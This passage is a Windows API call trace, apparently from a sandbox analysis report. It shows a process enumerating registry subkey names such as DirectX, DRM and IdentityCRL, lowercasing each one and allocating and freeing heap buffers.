BaseAddress=0xb3c1a8) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xb3c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.501] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.501] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0241.501] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xb3c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DRM") returned 0x0 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DVR") returned 0x0 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.502] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.502] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xb3b9b8, cchName=0x104 | out: lpName="DXP") returned 0x0 [0241.502] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xb3b9b8, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xb3c160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xb3b9b8, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.503] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0241.503] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.503] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Fax") returned 0x0 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xb3c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xb3c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xb3b9b8, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.504] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.504] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xb3b9b8, cchName=0x104 | out: lpName="FTH") returned 0x0 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xb3c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0241.504] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xb3c1a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xb3b9b8, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xb3c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xb3b9b8, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.505] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.505] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xb3b9b8, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0241.505] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xb3c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.506] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.506] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xb3c160, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.506] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xb3c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0241.506] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.506] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3bc40) returned 1 [0241.506] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0xb3b9b8, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3bc40 [0241.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.507] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c160 [0241.507] WideCharToMultiByte (in: CodePage=0x0, 